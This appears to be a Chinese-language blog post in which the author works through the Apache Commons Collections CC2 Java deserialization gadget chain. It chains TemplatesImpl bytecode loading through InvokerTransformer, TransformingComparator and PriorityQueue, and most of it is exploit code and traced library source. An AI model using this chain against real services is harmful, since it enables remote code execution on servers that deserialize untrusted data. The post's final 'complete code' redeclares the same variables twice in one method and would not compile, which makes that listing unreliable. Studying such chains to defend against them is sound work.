cc2

cc2

cc2其实就是cc3不用cc1结尾的方法,然后用cc4的结尾的方法来构造的

第一步

把cc3前半部分拿过来

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

然后把templates.newTransformer();换成InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});,但是我们差给invoketransformtransform赋值为templates

第二步

把cc4的后半部分来利用

先看Transform的构造器和compare函数所在源码

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                              final Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

ok,我们先给transformer赋值为invokerTransformer

    TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);

然后再找到调用compare函数的PriorityQueue类里面来

   public PriorityQueue(Comparator<? super E> comparator) {
    this(DEFAULT_INITIAL_CAPACITY, comparator);
}
  public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
   
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

我们就这样做PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
然后为了给他的transform里面的参数赋值,我们下面这个来

    priorityQueue.add(templates);
    priorityQueue.add(templates);

调试一下行不行

public boolean add(E e) {
    return offer(e);
}

add调用offer

 public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

要给add来两次:第一次size为0,i为0。第二次size为2,i为1。
所以才能进入siftUp

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

k为1,x为templates,调用siftUpUsingComparator(k, x)

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

成功执行

第三步

但是add会先促使调用compare,可以先让 transformingComparator 的值成为一个无关的对象,在 add 完之后再用反射修改,

    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, invokerTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");

完成执行

    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, invokerTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");

完整代码

public class cc2 {
public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);//第一步


    TemplatesImpl templates = new TemplatesImpl();
    Class tc = TemplatesImpl.class;
    Field name = tc.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecodes = tc.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\学习资料\\java\\java反序列化\\Test.class"));
    byte[][] codes = {code};
    bytecodes.set(templates,codes);
    Field tfactory = tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());


    InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    priorityQueue.add(templates);
    priorityQueue.add(templates);

    Class c = transformingComparator.getClass();
    Field transformingField = c.getDeclaredField("transformer");
    transformingField.setAccessible(true);
    transformingField.set(transformingComparator, invokerTransformer);

    serialize(priorityQueue);
    unserialize("ser.bin");//第二步
}
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
}
posted @ 2024-07-26 01:46  毛利_小五郎  阅读(71)  评论(0)    收藏  举报